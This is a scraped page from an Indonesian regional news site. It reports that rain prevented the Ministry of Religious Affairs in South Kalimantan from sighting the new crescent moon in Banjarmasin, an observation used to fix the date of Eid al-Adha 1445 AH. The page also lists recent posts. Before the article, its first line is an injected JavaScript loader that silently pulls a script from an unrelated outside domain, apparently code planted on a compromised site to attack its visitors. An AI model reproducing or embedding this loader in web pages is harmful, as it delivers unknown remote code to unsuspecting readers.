(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kalimantan Selatan

Pemantauan Hilal 1 Dzulhijjah di Banjarmasin Terkendala Hujan


KANALKALIMANTAN.COM, BANJARMASIN – Kantor Wilayah Kementerian Agama (Kemenag) Provinsi Kalimantan Selatan melaksanakan rukyatul hilal awal Dzulhijjah 1445 hijriah sebagai penentu hari raya Iduladha 1445 hijriah.

Pemantauan dilaksanakan di atas gedung hotel Zuri Express, Jalan Ahmad Yani kilometer 5, Kota Banjarmasin, Jumat (7/6/2024) petang.

Dalam pemantauan, tim hisab rukyat Kanwil Kemenag Kalsel menggunakan dua alat bantu yaitu teleskop digital dan teleskop analog untuk melihat hilal.

Proses pemantauan terganggu karena hujan deras mengguyur sebagian besar wilayah Kota Banjarmasin, termasuk lokasi pemantauan hilal.

Selain menggangu jarak pandang, hujan juga menyebabkan teleskop tidak dapat difungsikan ditengah guyuran hujan. Pembukaan acara rukyatul hilal harus dipindahkan ke ruang aula.

Baca juga: Empat Sungai Meluap, Banjir di Tanbu Rendam 24 Desa

Fahrin, salah seorang dari tim hisab rukyat Kanwil Kemenag Kalsel mengatakan, berdasarkan hisab, tinggi hilal di Kalsel pada Jumat (7/6/2024) petang berada di titik 8° 53′ 14″ dan sudut elongasi +12° 40′ 07″.

Sementara berdasarkan kriteria MABIMS (Menteri Agama Brunai, Indonesia, Malaysia, dan Singapura), kata Fahrin, menetapkan kriteria tinggi hilal yaitu 3 derajat di atas ufuk dan sudut elongasi 6,4 derajat.

“Ketika matahari terbenam pukul 18.19 Wita, ketinggian hilal di tempat kita (Banjarmasin) sekitar 8 derajat,” kata Fahrin.

Dengan ketinggian tersebut, kata Fahrin, hilal seharusnya dapat terlihat seandainya wilayah Banjarmasin tidak diguyur hujan dan tertutup awan saat pemantauan.

Baca juga: Warga Amuntai Antar Mantan Bupati HSU H Abdul Wahid ke Peristirahatan Terakhir

Terpisah, Kepala bidang Urusan Agama Islam Kanwil Kemenag Kalsel, H Muhammad Yamani yang memimpin rukyatul hilal mengatakan, hal yang sama jika secara hisab, ketinggian hilal di Kalsel pada Jumat (7/6/2024) petang, telah memenuhi kriteria MABIMS di atas 3 derajat.

“Namun karena hujan dari sekitar pukul 17.00 Wita tadi, sehingga kita tidak bisa melaksanakan pemantauan hilal secara langsung,” ungkapnya.

Meski hilal di Kalsel tidak dapat dilihat secara langsung, kata Yamani, pihaknya tetap akan melaporkan hasil dari kegiatan pemantauan tersebut kepada Kementerian Agama (Kemenag) Republik Indonesia untuk menjadi salah satu pertimbangan dalam penentuan awal Dzulhijjah 1445 hijriah dan penetapan hari raya Iduladha 1445 hijriah.

Masih lanjut Yamani, untuk waktu Iduladha 1445 hijriah, Kemenag Kalsel mengimbau kepada seluruh masyarakat atau umat muslim di Kalsel menunggu keputusan resmi yang akan disampaikan oleh Menteri Agama (Menag) RI pada Jumat (7/6/2024) malam, setelah sidang isbat.

Baca juga: Ketersediaan Hewan Kurban di Banjarbaru Mencukupi, Sapi Ada 2.300 Ekor

“Keputusan resminya (waktu Iduladha 1445 hijriah), kita tetap menunggu pengumuman resmi dari pemerintah setelah pelaksanaan sidang isbat,” kata Yamani.

Berdasarkan data Kementerian Agama RI, ada sebanyak 114 lokasi pemantauan hilal awal Dzulhijjah 1445 hijriah yang tersebar di seluruh Indonesia, termasuk diantaranya Kalsel.

Hasil dari pemantauan hilal dilaporkan kepada Kemenag RI untuk dibawa pada Sidang Isbat awal Dzulhijjah 1445 hijriah yang akan digelar di uditorium HM Rasjidi kantor Kemenag RI, Thamrin Jakarta, pada Jumat (7/6/2024) malam.

Selanjutnya, hasil sidang isbat atau penentuan Iduladha 1445 hijriah akan disampaikan oleh Menteri Agama (Menag) Yaqut Cholil Qoumas.(Kanalkalimantan.com/rizki)

Reporter : rizki
Editor : bie


Muhammad Andi

Recent Posts

Kepemimpinan Saidi Mansyur – Habib Idrus Kembali Raih Penghargaan Wahana Tata Nugraha

KANALKALIMANTAN.COM, JAKARTA - Di bawah pimpinan H Saidi Mansyur dan Habib Idrus Al Habsyi Kabupaten… Read More

11 jam ago

Tak Bisa Bedakan Mana Warung Mana Ballroom

KANALKALIMANTAN.COM, BANJARBARU - Ibu guru Amalia Wahyuni, seorang tenaga pengajar SMK di Kota Banjarbaru menegur… Read More

13 jam ago

Wali Kota Banjarbaru Terima Wahana Tata Nugraha 2024 dari Kemenhub

KANALKALIMANTAN.COM, BANJARBARU – Tiga hari berturut-turut Wali Kota Banjarbaru Aditya Mufti Ariffin mendapat penghargaan tingkat… Read More

15 jam ago

PAFI Gunungkidul: Inisiatif Edukasi Masyarakat tentang Penggunaan Obat yang Tepat

KANALKALIMANTAN.COM - Penggunaan obat yang tepat merupakan aspek yang sangat penting dalam menjaga kesehatan seseorang.… Read More

16 jam ago

Dua Kasus Suspek Cacar Monyet di Banjarbaru Negatif

KANALKALIMANTAN.COM, BANJARBARU - Hasil identifikasi kasus suspek (terduga) monkeypox (Mpox) atau cacar monyet di Kota… Read More

16 jam ago

Rancangan APBD 2025 Kota Banjarbaru Selesai Sebelum Pelantikan Anggota DPRD

KANALKALIMANTAN.COM, BANJARBARU - Rancangan Anggaran Pendapatan dan Belanja Daerah (APBD) tahun anggaran 2025 Kota Banjarbaru… Read More

18 jam ago

This website uses cookies.